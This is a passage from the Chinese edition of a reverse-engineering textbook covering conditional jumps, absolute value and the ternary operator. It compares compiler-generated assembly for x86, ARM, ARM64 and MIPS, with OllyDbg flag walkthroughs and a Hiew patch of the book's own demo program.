_b$[ebp] jne SHORT $LN2@f_unsigned push OFFSET $SG2763 ; 'a==b' call _printf add esp, 4 $LN2@f_unsigned: mov edx, DWORD PTR _a$[ebp] cmp edx, DWORD PTR _b$[ebp] jae SHORT $LN4@f_unsigned push OFFSET $SG2765 ; 'a<b' call _printf add esp, 4 LN4@f_unsigned: Pop ebp Ret 0 _f_unsigned ENDP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 105 GCC 编译的结果与 MSVC 编译的结果基本相同。 经 GCC 编译后,f_unsigned()函数使用的条件转移指令是 JBE(Jump if Below or Equal,相当于 JLE) 和 JAE(Jump if Above or Equal,相当于 JGE)。JA/JAE/JB/JBE 与 JG/JGE/JL/JLE 的区别,在于它们检查的 标志位不同:前者检查借/进位标志位 CF(1 意味着小于)和零标志位 ZF(1 意味着相等),后者检查“SF XOR OF”(1 意味着异号)和 ZF。从指令参数的角度看,前者适用于 unsigned(无符号)类型数据的(CMP) 运算,而后者的适用于 signed(有符号)类型数据的运算。 本书第 30 章会介绍 signed 类型数据。可见,根据条件转移的指令,我们可以直接判断 CMP 所比较的 变量的数据类型。 接下来,我们一起研究 main()函数的汇编代码。 指令清单 12.3 main() _main PROC push ebp mov ebp, esp push 2 push 1 call _f_signed add esp, 8 push 2 push 1 call _f_unsigned add esp, 8 xor eax, eax pop ebp ret 0 _main ENDP x86 + MSVC + OllyDbg 我们可以通过 OllyDbg 直观地观察到指令对标志寄存器的影响。我们先用 OllyDbg 观察 f_unsigned() 函数比较无符号数的过程。f_unsigned()函数使用了 CMP 指令,分三次比较了两个相同的 unsigned 类型数 据。因为参数相同,所以 CMP 设置的标志位必定相同。 如图 12.1 所示,在运行到第一个条件转移指令时,C=1, P=1, A=1, Z=0, S=1, T=0, D=0, O=0。OllyDbg 会使用标志位的首字母作为该标志位的简称。 图 12.1 使用 OllyDbg:观察 f_unsigned()的第一个条件转移指令 OllyDbg 在左下窗口进行提示,JBE 条件跳转指令的条件已经达成,下一步会进行相应跳转。这种预 测准确无误,JBE 的触发条件是(CF=1 或 ZF=1)。条件表达式为真时,JBE 确实会进行跳转。 如图 12.2 所示,在运行到第二个条件转移指令——JNZ 指令时,ZF=0。所以 OllyDbg 能够判断程序会 进行相应跳转。 如图 12.3 所示,运行到第三个条件转移指令——JNB 指令的时候,借/进位标志 CF=0,条件表达式 异步社区会员 dearfuture(15918834820) 专享 尊重版权 106 逆向工程权威指南(上册) 会为假,所以不会发生跳转,程序将执行第三个 printf()指令。 图 12.2 使用 OllyDbg 观察 f_unsigned()函数的第二个条件转移指令 图 12.3 使用 OllyDbg 观察 f_unsigned()函数的第三个条件转移指令 现在来调试下示例程序里的 f_signed()函数,它的参数为 signed 型数据。 在运行 f_signed()函数时,标志位的状态和刚才一样。即,运行 CMP 指令之后,C=1, P=1, A=1, Z=0, S=1, T=0, D=0, O=0。 第一个条件转移指令——JLE 指令将会被触发,如图 12.4 所示。 图 12.4 使用 OllyDbg 观察 f_signed()函数的第一个条件转移指令 参照[Int13],触发 JLE 的条件是 ZF=1 或 SF≠OF。本例满足 SF≠OF 的条件。 由于 ZF=0,第二个条件转移指令——JNZ 指令会被触发,如图 12.5 所示。 图 12.5 使用 OllyDbg 观察 f_signed()函数的第二个条件转移指令 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 107 而第三个条件转移指令——JGE 指令不会被触发。触发 JGE 的条件是 SF=OF,而当前情形不满足这个条件, 如图 12.6 所示。 图 12.6 使用 OllyDbg 观察 f_signed()函数的第三个条件转移指令 x86 + MSVC +Hiew 我们还可以用 Hiew 给可执行文件打补丁,强制 f_unsigned()函数永远打印“a==b”、忽略它的输入参 数,如图 2.7 所示。 图 12.7 使用 Hiew 打开 f_unsigned() 函数 本文将分 3 次修改上述可执行程序,分别完成下述三个任务:  强制触发第一个条件转移指令。  强制屏蔽第二个条件转移指令。  强制触发第三个条件转移指令。 我们可以直接修改程序,令程序流永远转向第二个 printf()函数并打印“a==b”。 故而需要修改三条指令(3 个字节):  把第一个条件转移指令改为 JMP,并保留原始的转移偏移量(jump offset)。  第二个条件转移指令的触发条件不一定成立。无论触发条件是否成立,我们都要它跳转到下一条 指令。所以,我们把转移偏移量设置为零。对于条件转移语句来说,跳转的目标地址是下一条地 址与转移偏移量的和。把转移偏移量设置为零之后,程序会继续执行下一条指令。  第三个条件转移指令的修改方法和第一个条件转移指令的修改方法相同。我们只需把将条件转移 指令换成 JMP(无条件转移指令)即可。 修改之后的 f_unsigned()函数如图 12.8 所示。 三个条件转移指令全部都要修改。如果少修改了一个指令,它就可能会多次调用 printf()函数,与我们 异步社区会员 dearfuture(15918834820) 专享 尊重版权 108 逆向工程权威指南(上册) 的预期——只调用一次 printf()函数的任务目标相悖。 图 12.8 经过修改之后的 f_unsigned() 函数 Non-optimizing GCC 如果关闭了GCC的优化选项,那么它编译出来的程序和MSVC编译出来的程序没什么区别,只不过就 是把printf()函数替换为了puts()函数 ① Optimizing GCC 。 聪明的您一定会问,既然 CMP 比较的是相同的值,比较之后的标志位的状态也相同,那么何必要对 同样的参数进行多次比较呢?或许 MSVC 真的不能再智能一些了;但是启用优化选项后,GCC 4.8.1 确实 能够进行这种深度优化。 指令清单 12.4 GCC 4.8.1 f_signed() f_signed: mov eax, DWORD PTR [esp+8] cmp DWORD PTR [esp+4], eax jg .L6 je .L7 jge .L1 mov DWORD PTR [esp+4], OFFSET FLAT:.LC2 ; "a<b" jmp puts .L6: mov DWORD PTR [esp+4], OFFSET FLAT:.LC0 ; "a>b" jmp puts .L1: rep ret .L7: mov DWORD PTR [esp+4], OFFSET FLAT:.LC1 ; "a==b" jmp puts 很明显,它使用 jmp 指令替代了臃肿的“CALL ……puts …… RETN”指令。本书将在 13.1.1 节里详 细解说这种编译技术。 我们不得不说在 x86 的系统中,这种程序比较少见。MSVC 2012 做不到 GCC 那种程度的深度优化。 另一方面,汇编语言的编程人员确实可能学会 Jcc 指令的连用技巧。所以,如果您遇到了这样精简的程序, ① 请参见本书 3.4.3 节的解释。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 109 而且还能够判断出它不是 GCC 编译出来的程序,那么您基本上可以判断它是手写出来的汇编程序。 即使开启了同样的优化选项,f_unsigned()函数对应的指令也没有那么精致。 指令清单 12.5 GCC 4.8.1 f_unsigned() f_unsigned: push esi push ebx sub esp, 20 mov esi, DWORD PTR [esp+32] mov ebx, DWORD PTR [esp+36] cmp esi, ebx ja .L13 cmp esi, ebx ; instruction may be removed je .L14 .L10: jb .L15 add esp, 20 pop ebx pop esi ret .L15: mov DWORD PTR [esp+32], OFFSET FLAT:.LC2 ; "a<b" add esp, 20 pop ebx pop esi jmp puts .L13: mov DWORD PTR [esp], OFFSET FLAT:.LC0 ; "a>b" call puts cmp esi, ebx jne .L10 .L14: mov DWORD PTR [esp+32], OFFSET FLAT:.LC1 ; "a==b" add esp, 20 pop ebx pop esi jmp puts 程序中只有两条 CMP 指令,至少它优化去了一个 CMP 指令。可见,GCC 4.8.1 的优化算法还有改进 的空间。 12.1.2 ARM 32 位 ARM 程序 Optimizing Keil 6/2013 (ARM mode) 指令清单 12.6 Optimizing Keil 6/2013 (ARM mode) .text:000000B8 EXPORT f_signed .text:000000B8 f_signed ; CODE XREF: main+C .text:000000B8 70 40 2D E9 STMFD SP!, {R4-R6,LR} .text:000000BC 01 40 A0 E1 MOV R4, R1 .text:000000C0 04 00 50 E1 CMP R0, R4 .text:000000C4 00 50 A0 E1 MOV R5, R0 .text:000000C8 1A 0E 8F C2 ADRGT R0, aAB ; "a>b\n" .text:000000CC A1 18 00 CB BLGT __2printf .text:000000D0 04 00 55 E1 CMP R5, R4 .text:000000D4 67 0F 8F 02 ADREQ R0, aAB_0; "a==b\n" .text:000000D8 9E 18 00 0B BLEQ __2printf .text:000000DC 04 00 55 E1 CMP R5, R4 .text:000000E0 70 80 BD A8 LDMGEFD SP!, {R4-R6,PC} .text:000000E4 70 40 BD E8 LDMFD SP!, {R4-R6,LR} .text:000000E8 19 0E 8F E2 ADR R0, aAB_1 ; "a<b\n" 异步社区会员 dearfuture(15918834820) 专享 尊重版权 110 逆向工程权威指南(上册) .text:000000EC 99 18 00 EA B __2printf .text:000000EC ; End of function f_signed ARM 模式的多数指令都存在着相应的条件执行指令。这些派生出来的条件执行指令仅会在特定标志位为 1 的情况下执行。换句话说,只有当前面存在比较数值的指令时,后面才可能会出现这种派生出来的条件执行指令。 举例来讲,加法指令 ADD 指令实际上是 ADDAL 指令。“AL”就是 always 的缩写,即 ADDAL 总会被无条 件执行。在 32 位的 ARM 指令中,条件判断表达式被封装在条件执行指令的前(最高)4 位——条件字段(condition field)里。即使是无条件转移指令 B 指令,其前 4 位还是条件字段。从指令构成上说,B 指令仍然属于条件转移 指令,只不过它的条件字段是 AL 而已。顾名思义,AL 的作用就是忽略标志寄存器、永远执行这条指令。 ADRGT 指令中的 GT 代表 greater than(大于)。该指令依据先前 CMP 指令的比较结果,而判断是否执行 寻址指令。当且仅当 CMP 比较的第一个值大于第二个值的时候,ADRGT 指令才会执行寻址(ADR)指令。 后面的 BLGT 指令有异曲同工之妙。仅在相同条件下,即当且仅当 CMP 比较的第一个值大于第二个值的时 候,BLGT 指令才会执行 BL 指令。在这个条件成立的时候,前面的 ADRGT 指令已经把字符串“a>b /n”的地址 赋值给 R0 寄存器,成为了 printf()的参数,而 BLGT 负责调用 printf()。可见,当且仅当在 R0 的值(变量 a)大于 R4 的值(变量 b)的情况下,计算机才会运行后面那组带有-GT 后缀的指令。很显然,这是一组相互关联的指令。 后面的 ADREQ 和 BLEQ 指令,都在最近一个 CMP 的操作数相等的情况下才会讲行 ADR 和 BL 指令 的操作。程序之中连续两次出现“CMP R5, R4”指令,这是因为夹在其间的 printf()函数可能会影响标志位。 LDMGEFD 是“Great or Equal(大于或等于)”的情况下进行 LDMFD (Load Multiple Full Descending) 操 作的指令。 依此类推,“LDMGEFD SP!, {R4-R6,PC}”指令起到函数尾声的作用,不过它只会在“a>=b”的时候 才会结束本函数。 如果上述条件不成立,即“a<b”的时候,会执行下一条指令“LDMFD SP!, {R4-R6,LR}”。这同 样起到函数尾声的作用。该指令将恢复 R4~R6 寄存器、LR 寄存器的值,而不恢复 PC 寄存器的值, 且不会退出当前函数。 函数最后的两条指令,分别向 printf()函数传递参数(字符串“a<b\n”),并且调用 printf()函数。本书 的 6.2.1 节已经介绍过:当调用方函数调用(跳转到)printf()函数之后,调用方函数可以伴随 printf()函数 退出而退出。所以本节不再进行有关解释。 f_unsigned()函数与 f_signed()函数的功能十分类似。不同之处是它用到了 ADRHI、BLHI 和 LDMSFD 指令。指令尾部的-HI 代表 Unsigned Higher,CS 代表 Carry Set (greater than or equal)。因为参数的数据类型 有所变化,所以这两个函数的具体指令有所区别。 这个程序的 main()函数的汇编指令如下。 指令清单 12.7 main()函数 .text:00000128 EXPORT main .text:00000128 main .text:00000128 10 40 2D E9 STMFD SP!, {R4,LR} .text:0000012C 02 10 A0 E3 MOV R1, #2 .text:00000130 01 00 A0 E3 MOV R0, #1 .text:00000134 DF FF FF EB BL f_signed .text:00000138 02 10 A0 E3 MOV R1, #2 .text:0000013C 01 00 A0 E3 MOV R0, #1 .text:00000140 EA FF FF EB BL f_unsigned .text:00000144 00 00 A0 E3 MOV R0, #0 .text:00000148 10 80 BD E8 LDMFD SP!, {R4,PC} .text:00000148 ; End of function main 可见,ARM 模式的程序可以完全不依赖条件转移指令。 这样做有什么优点呢?依赖精简指令集(RISC)的ARM处理器采用流水线技术(pipeline)。简单地说, 这种处理器在跳转指令方面的性能不怎么优越,所以它们的分支预测处理器(branch predictor unites)决定 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 111 了整体的性能。对于采用流水线技术的处理器来说,运行其上的程序跳转次数越少(无论是条件转移还是 无条件转移),程序的性能就越高。条件执行指令 ① Optimizing Keil 6/2013 (Thumb mode) ,会受益于其跳跃次数最少的优点,体现出最高的效率。 详细介绍请参阅本书的 33.1 节 x86 指令集里只有 CMOVcc 指令,没有其他的条件执行指令了。CMOVcc 指令是仅在特定标志位为 1 (通常由 CMP 指令设置)的情况下才会执行 MOV 操作的条件执行指令。 指令清单 12.8 Optimizing Keil 6/2013 (Thumb mode) .text:00000072 f_signed ; CODE XREF: main+6 .text:00000072 70 B5 PUSH {R4-R6,LR} .text:00000074 0C 00 MOVS R4, R1 .text:00000076 05 00 MOVS R5, R0 .text:00000078 A0 42 CMP R0, R4 .text:0000007A 02 DD BLE loc_82 .text:0000007C A4 A0 ADR R0, aAB ; "a>b\n" .text:0000007E 06 F0 B7 F8 BL __2printf .text:00000082 .text:00000082 loc_82 ; CODE XREF: f_signed+8 .text:00000082 A5 42 CMP R5, R4 .text:00000084 02 D1 BNE loc_8C .text:00000086 A4 A0 ADR R0, aAB_0 ; "a==b\n" .text:00000088 06 F0 B2 F8 BL __2printf .text:0000008C .text:0000008C loc_8C ; CODE XREF: f_signed+12 .text:0000008C A5 42 CMP R5, R4 .text:0000008E 02 DA BGE locret_96 .text:00000090 A3 A0 ADR R0, aAB_1 ; "a<b\n" .text:00000092 06 F0 AD F8 BL __2printf .text:00000096 .text:00000096 locret_96 ; CODE XREF: f_signed+1C .text:00000096 70 BD POP {R4-R6,PC} .text:00000096 ; End of function f_signed 在 ARM 系统的 Thumb 模式指令集里,只有 B 指令才有派生出来的条件执行指令。所以 Thumb 模式 下的汇编指令看上去更为贴近 x86 指令。 上述指令里,条件转移指令有 BLE(Less than or Equal)、BNE(Not Equal)、BGE(Greater than or Equal)。 这些指令都可以望文生义。 f_unsigned 函数十分雷同,只是里面出现了新的条件转移指令 BLS(Unsigned Lower or Same)和 BCS (Carry Set(Greater than or equal))。 64 位 ARM 程序 Optimizing GCC(Linaro)4.9 指令清单 12.9 f_signed() f_signed: ; W0=a, W1=b cmp w0, w1 bgt .L19 ; Branch if Greater Than (a>b) beq .L20 ; Branch if Equal (a==b) bge .L15 ; Branch if Greater than or Equal (a>=b) (impossible here) ; a<b adrp x0, .LC11 ; "a<b" add x0, x0, :lo12:.LC11 b puts .L19: adrp x0, .LC9 ; "a>b" ① 即 predicated instructions,泛指 BLGT/ADREQ 这类混合条件判定功能的操作指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 112 逆向工程权威指南(上册) add x0, x0, :lo12:.LC9 b puts .L15: ; impossible here ret .L20: adrp x0, .LC10 ; "a==b" add x0, x0, :lo12:.LC10 b puts 指令清单 12.10 f_unsigned() f_unsigned: stp x29, x30, [sp, -48]! ; W0=a, W1=b cmp w0, w1 add x29, sp, 0 str x19, [sp,16] mov w19, w0 bhi .L25 ; Branch if HIgher (a>b) cmp w19, w1 beq .L26 ; Branch if Equal (a==b) .L23: bcc .L27 ; Branch if Carry Clear (if less than) (a<b) ; function epilogue, impossible to be here ldr x19, [sp,16] ldp x29, x30, [sp], 48 ret .L27: ldr x19, [sp,16] adrp x0, .LC11 ; "a<b" ldp x29, x30, [sp], 48 add x0, x0, :lo12:.LC11 b puts .L25: adrp x0, .LC9 ; "a>b" str x1, [x29,40] add x0, x0, :lo12:.LC9 bl puts ldr x1, [x29,40] cmp w19, w1 bne .L23 ; Branch if Not Equal .L26: ldr x19, [sp,16] adrp x0, .LC10 ; "a==b" ldp x29, x30, [sp], 48 add x0, x0, :lo12:.LC10 b puts 我在程序之中添加了注释。很明显,虽然有些条件表达式不可能成立,但是编译器不能自行判断出这 种问题。所以程序留有一些永远不会执行的无效代码。 练习题 上述代码中存在无效代码。请在不添加新指令的情况下删除多余多指令。 12.1.3 MIPS MIPS 处理器没有标志位寄存器,这是它最显著的特征之一。这种设计旨在降低数据相关性的分析难度。 x86 的指令集中有 SETcc 指令,MIPS 平台也有类似的指令:SLT(Set on Less Than/操作对象为有符号数) 和 SLTU(无符号数)。这两个指令会在条件表达式为真的时候设置目的寄存器为 1,否则设置其为零。 随即可用 BEQ(Branch on Equal)或 BEN(Branch on Not Equal)指令检查上述寄存器的值,判断是 否进行跳转。总之,在 MIPS 平台上组合使用这两种指令,可完成条件转移指令的比较和转移操作。 我们来看范本程序里处理有符号数的相应函数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 113 指令清单 12.11 Non-optimizing GCC 4.4.5 (IDA) .text:00000000 f_signed: # CODE XREF: main+18 .text:00000000 .text:00000000 var_10 = -0x10 .text:00000000 var_8 = -8 .text:00000000 var_4 = -4 .text:00000000 arg_0 = 0 .text:00000000 arg_4 = 4 .text:00000000 .text:00000000 addiu $sp, -0x20 .text:00000004 sw $ra, 0x20+var_4($sp) .text:00000008 sw $fp, 0x20+var_8($sp) .text:0000000C move $fp, $sp .text:00000010 la $gp, __gnu_local_gp .text:00000018 sw $gp, 0x20+var_10($sp) ; store input values into local stack: .text:0000001C sw $a0, 0x20+arg_0($fp) .text:00000020 sw $a1, 0x20+arg_4($fp) ; reload them. .text:00000024 lw $v1, 0x20+arg_0($fp) .text:00000028 lw $v0, 0x20+arg_4($fp) ; $v0=b ; $v1=a .text:0000002C or $at, $zero ; NOP ; this is pseudoinstruction. in fact, "slt $v0,$v0,$v1" is there. ; so $v0 will be set to 1 if $v0<$v1 (b<a) or to 0 if otherwise: .text:00000030 slt $v0, $v1 ; jump to loc_5c, if condition is not true. ; this is pseudoinstruction. in fact, "beq $v0,$zero,loc_5c" is there: .text:00000034 beqz $v0, loc_5C ; print "a>b" and finish .text:00000038 or $at, $zero ; branch delay slot, NOP .text:0000003C lui $v0, (unk_230 >> 16) # "a>b" .text:00000040 addiu $a0, $v0, (unk_230 & 0xFFFF) # "a>b" .text:00000044 lw $v0, (puts & 0xFFFF)($gp) .text:00000048 or $at, $zero ; NOP .text:0000004C move $t9, $v0 .text:00000050 jalr $t9 .text:00000054 or $at, $zero ; branch delay slot, NOP .text:00000058 lw $gp, 0x20+var_10($fp) .text:0000005C .text:0000005C loc_5C: # CODE XREF: f_signed+34 .text:0000005C lw $v1, 0x20+arg_0($fp) .text:00000060 lw $v0, 0x20+arg_4($fp) .text:00000064 or $at, $zero ; NOP ; check if a==b, jump to loc_90 if its not true': .text:00000068 bne $v1, $v0, loc_90 .text:0000006C or $at, $zero ; branch delay slot, NOP ; condition is true, so print "a==b" and finish: .text:00000070 lui $v0, (aAB >> 16) # "a==b" .text:00000074 addiu $a0, $v0, (aAB & 0xFFFF) # "a==b" .text:00000078 lw $v0, (puts & 0xFFFF)($gp) .text:0000007C or $at, $zero ; NOP .text:00000080 move $t9, $v0 .text:00000084 jalr $t9 .text:00000088 or $at, $zero ; branch delay slot, NOP .text:0000008C lw $gp, 0x20+var_10($fp) .text:00000090 .text:00000090 loc_90: # CODE XREF: f_signed+68 .text:00000090 lw $v1, 0x20+arg_0($fp) .text:00000094 lw $v0, 0x20+arg_4($fp) .text:00000098 or $at, $zero ; NOP ; check if $v1<$v0 (a<b), set $v0 to 1 if condition is true: .text:0000009C slt $v0, $v1, $v0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 114 逆向工程权威指南(上册) ; if condition is not true (i.e., $v0==0), jump to loc_c8: .text:000000A0 beqz $v0, loc_C8 .text:000000A4 or $at, $zero ; branch delay slot, NOP ; condition is true, print "a<b" and finish .text:000000A8 lui $v0, (aAB_0 >> 16) # "a<b" .text:000000AC addiu $a0, $v0, (aAB_0 & 0xFFFF) # "a<b" .text:000000B0 lw $v0, (puts & 0xFFFF)($gp) .text:000000B4 or $at, $zero ; NOP .text:000000B8 move $t9, $v0 .text:000000BC jalr $t9 .text:000000C0 or $at, $zero ; branch delay slot, NOP .text:000000C4 lw $gp, 0x20+var_10($fp) .text:000000C8 ; all 3 conditions were false, so just finish: .text:000000C8 loc_C8: # CODE XREF: f_signed+A0 .text:000000C8 move $sp, $fp .text:000000CC lw $ra, 0x20+var_4($sp) .text:000000D0 lw $fp, 0x20+var_8($sp) .text:000000D4 addiu $sp, 0x20 .text:000000D8 jr $ra .text:000000DC or $at, $zero ; branch delay slot, NOP .text:000000DC # End of function f_signed 此处有两条指令是 IDA 的伪指令。“SLT REG0, REG1”的实际指令是“SLT REG0, REG0, REG1”,而 BEQZ 的实际指令是“BEQ REG, $ZERO, LABEL”。 f_unsigned()函数的汇编指令,只是把 f_signed()函数中的 SLT 指令替换为 SLTU(U 是 unsigned 的缩写)。 除此之外,处理有符号数和无符号数的两个函数完全相同。 指令清单 12.12 Non-optimizing GCC 4.4.5 (IDA) .text:000000E0 f_unsigned: # CODE XREF: main+28 .text:000000E0 .text:000000E0 var_10 = -0x10 .text:000000E0 var_8 = -8 .text:000000E0 var_4 = -4 .text:000000E0 arg_0 = 0 .text:000000E0 arg_4 = 4 .text:000000E0 .text:000000E0 addiu $sp, -0x20 .text:000000E4 sw $ra, 0x20+var_4($sp) .text:000000E8 sw $fp, 0x20+var_8($sp) .text:000000EC move $fp, $sp .text:000000F0 la $gp, __gnu_local_gp .text:000000F8 sw $gp, 0x20+var_10($sp) .text:000000FC sw $a0, 0x20+arg_0($fp) .text:00000100 sw $a1, 0x20+arg_4($fp) .text:00000104 lw $v1, 0x20+arg_0($fp) .text:00000108 lw $v0, 0x20+arg_4($fp) .text:0000010C or $at, $zero .text:00000110 sltu $v0, $v1 .text:00000114 beqz $v0, loc_13C .text:00000118 or $at, $zero .text:0000011C lui $v0, (unk_230 >> 16) .text:00000120 addiu $a0, $v0, (unk_230 & 0xFFFF) .text:00000124 lw $v0, (puts & 0xFFFF)($gp) .text:00000128 or $at, $zero .text:0000012C move $t9, $v0 .text:00000130 jalr $t9 .text:00000134 or $at, $zero .text:00000138 lw $gp, 0x20+var_10($fp) .text:0000013C .text:0000013C loc_13C: # CODE XREF: f_unsigned+34 .text:0000013C lw $v1, 0x20+arg_0($fp) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 115 .text:00000140 lw $v0, 0x20+arg_4($fp) .text:00000144 or $at, $zero .text:00000148 bne $v1, $v0, loc_170 .text:0000014C or $at, $zero .text:00000150 lui $v0, (aAB >> 16) # "a==b" .text:00000154 addiu $a0, $v0, (aAB & 0xFFFF) # "a==b" .text:00000158 lw $v0, (puts & 0xFFFF)($gp) .text:0000015C or $at, $zero .text:00000160 move $t9, $v0 .text:00000164 jalr $t9 .text:00000168 or $at, $zero .text:0000016C lw $gp, 0x20+var_10($fp) .text:00000170 .text:00000170 loc_170: # CODE XREF: f_unsigned+68 .text:00000170 lw $v1, 0x20+arg_0($fp) .text:00000174 lw $v0, 0x20+arg_4($fp) .text:00000178 or $at, $zero .text:0000017C sltu $v0, $v1, $v0 .text:00000180 beqz $v0, loc_1A8 .text:00000184 or $at, $zero .text:00000188 lui $v0, (aAB_0 >> 16) # "a<b" .text:0000018C addiu $a0, $v0, (aAB_0 & 0xFFFF) # "a<b" .text:00000190 lw $v0, (puts & 0xFFFF)($gp) .text:00000194 or $at, $zero .text:00000198 move $t9, $v0 .text:0000019C jalr $t9 .text:000001A0 or $at, $zero .text:000001A4 lw $gp, 0x20+var_10($fp) .text:000001A8 .text:000001A8 loc_1A8: # CODE XREF: f_unsigned+A0 .text:000001A8 move $sp, $fp .text:000001AC lw $ra, 0x20+var_4($sp) .text:000001B0 lw $fp, 0x20+var_8($sp) .text:000001B4 addiu $sp, 0x20 .text:000001B8 jr $ra .text:000001BC or $at, $zero .text:000001BC # End of function f_unsigned 12.2 计算绝对值 本节将围绕以下程序进行演示: int my_abs (int i) { if (i<0) return -i; else return i; }; 12.2.1 Optimizing MSVC 上述程序的编译结果如下。 指令清单 12.13 Optimizing MSVC 2012 x64 i$ = 8 my_abs PROC ; ECX = input test ecx, ecx ; check for sign of input value ; skip NEG instruction if sign is positive jns SHORT $LN2@my_abs 异步社区会员 dearfuture(15918834820) 专享 尊重版权 116 逆向工程权威指南(上册) ; negate value neg ecx $LN2@my_abs: ; prepare result in EAX: mov eax, ecx ret 0 my_abs ENDP GCC 4.9 的编译结果几乎相同。 12.2.2 Optimizing Keil 6/2013: Thumb mode 指令清单 12.14 Optimizing Keil 6/2013:Thumb mode my_abs PROC CMP r0,#0 ; is input value equal to zero or greater than zero? ; skip RSBS instruction then BGE |L0.6| ; subtract input value from 0: RSBS r0,r0,#0 |L0.6| BX lr ENDP ARM 平台没有负数运算指令,所以 Keil 编译器使用了“零减去数值”的减法运算指令“Reverse Subtract” (减数和被减数位置对调的减法运算),同样达到了替换符号的效果。 12.2.3 Optimizing Keil 6/2013: ARM mode 因为 ARM 模式的指令集存在条件执行指令,所以开启优化选项后可得到如下指令。 指令清单 12.15 Optimizing Keil 6/2013:ARM mode my_abs PROC CMP r0,#0 ; execute "Reverse Subtract" instruction only if input value is less than 0: RSBLT r0,r0,#0 BX lr ENDP 即使没有使用条件转移指令(请参见 33.1 节),它也实现相同的功能。 12.2.4 Non-optimizng GCC 4.9 (ARM64) ARM64 的指令集存在求负运算的 NEG 指令。 指令清单 12.16 Optimizing GCC 4.9 (ARM64) my_abs: sub sp, sp, #16 str w0, [sp,12] ldr w0, [sp,12] ; compare input value with contents of WZR register ; (which always holds zero) cmp w0, wzr bge .L2 ldr w0, [sp,12] neg w0, w0 b .L3 .L2: ldr w0, [sp,12] .L3: add sp, sp, 16 ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 117 12.2.5 MIPS 指令清单 12.17 Optimizing GCC 4.4.5 (IDA) my_abs: ; jump if $a0<0: bltz $a0, locret_10 ; just return input value ($a0) in $v0: move $v0, $a0 jr $ra or $at, $zero ; branch delay slot, NOP locret_10: ; negate input value and store it in $v0: jr $ra ; this is pseudoinstruction. in fact, this is "subu $v0,$zero,$a0" ($v0=0-$a0) negu $v0, $a0 这里出现了新指令BLTZ(Branch if Less Than Zero),以及伪指令NEGU。NEGU 指令计算零减去操作数的差。 SUBU 和NEGU 指令中的后缀U 代表它的操作数是无符号型数据,并且在整数溢出的情况下不会触发异常处理机制。 12.2.6 不使用转移指令 不使用转移指令同样可以计算绝对值。本书的第 45 章有详细说明。 12.3 条件运算符 C/C++都支持条件运算符: 表达式? 表达式: 表达式 例如: const char* f (int a) { return a==10 ? "it is ten" : "it is not ten"; }; 12.3.1 x86 在编译含有条件运算符的语句时,早期无优化功能的编译器会以编译“if/else”语句的方法进行处理。 指令清单 12.18 Non-optimizing MSVC 2008 $SG746 DB 'it is ten', 00H $SG747 DB 'it is not ten', 00H tv65 = -4 ; this will be used as a temporary variable _a$ = 8 _f PROC push ebp mov ebp, esp push ecx ; compare input value with 10 cmp DWORD PTR _a$[ebp], 10 ; jump to $LN3@f if not equal jne SHORT $LN3@f ; store pointer to the string into temporary variable: mov DWORD PTR tv65[ebp], OFFSET $SG746 ; 'it is ten' ; jump to exit jmp SHORT $LN4@f $LN3@f: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 118 逆向工程权威指南(上册) ; store pointer to the string into temporary variable: mov DWORD PTR tv65[ebp], OFFSET $SG747 ; 'it is not ten' $LN4@f: ; this is exit. copy pointer to the string from temporary variable to EAX. mov eax, DWORD PTR tv65[ebp] mov esp, ebp pop ebp ret 0 _f ENDP 指令清单 12.19 Optimizing MSVC 2008 $SG792 DB 'it is ten', 00H $SG793 DB 'it is not ten', 00H _a$ = 8 ; size = 4 _f PROC ; compare input value with 10 cmp DWORD PTR _a$[esp-4], 10 mov eax, OFFSET $SG792 ; 'it is ten' ; jump to $LN4@f if equal je SHORT $LN4@f mov eax, OFFSET $SG793 ; 'it is not ten' $LN4@f: ret 0 _f ENDP 新编译器生成的程序更为简洁。 指令清单 12.20 Optimizing MSVC 2012 x64 $SG1355 DB 'it is ten', 00H $SG1356 DB 'it is not ten', 00H a$ = 8 f PROC ; load pointers to the both strings lea rdx, OFFSET FLAT:$SG1355 ; 'it is ten' lea rax, OFFSET FLAT:$SG1356 ; 'it is not ten' ; compare input value with 10 cmp ecx, 10 ; if equal, copy value from RDX ("it is ten") ; if not, do nothing. pointer to the string "it is not ten" is still in RAX as for now. cmove rax, rdx ret 0 f ENDP 启用优化选项后,GCC 4.8 生成的 x86 指令同样使用了 CMOVcc 指令。相比之下,在关闭优化功能的 情况下,GCC 4.8 用条件转移指令编译条件操作符。 12.3.2 ARM 启用优化功能之后,Keil 生成的 ARM 代码会应用条件运行指令 ADRcc。 指令清单 12.21 Optimizing Keil 6/2013 (ARM mode) f PROC ; compare input value with 10 CMP r0, #0xa ; if comparison result is EQual, copy pointer to the "it is ten" string into R0 ADREQ r0,|L0.16| ; "it is ten" ; if comparison result is Not Equal, copy pointer to the "it is not ten" string into R0 ADRNE r0,|L0.28| ; "it is not ten" BX lr ENDP |L0.16| 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 119 DCB "it is ten",0 |L0.28| DCB "it is not ten",0 除非存在人为干预,否则 ADREQ 和 ADRNE 指令不可能在同一次调用期间都被执行。 在启用优化功能之后,Keil 会给编译出的 Thumb 模式代码分配条件转移指令。毕竟在 Thumb 模式的 指令之中,没有支持标志位判断的赋值指令。 指令清单 12.22 Optimizing Keil 6/2013 (Thumb mode) f PROC ; compare input value with 10 CMP r0,#0xa ; jump to |L0.8| if EQual BEQ |L0.8| ADR r0,|L0.12| ; "it is not ten" BX lr |L0.8| ADR r0,|L0.28| ; "it is ten" BX lr ENDP |L0.12| DCB "it is not ten",0 |L0.28| DCB "it is ten",0 12.3.3 ARM64 启用优化功能之后,GCC(Linaro)4.9 编译出来的 ARM64 程序同样用条件转移指令实现条件运算符。 指令清单 12.23 Optimizing GCC (Linaro) 4.9 f: cmp x0, 10 beq .L3 ; branch if equal adrp x0, .LC1 ; "it is ten" add x0, x0, :lo12:.LC1 ret .L3: 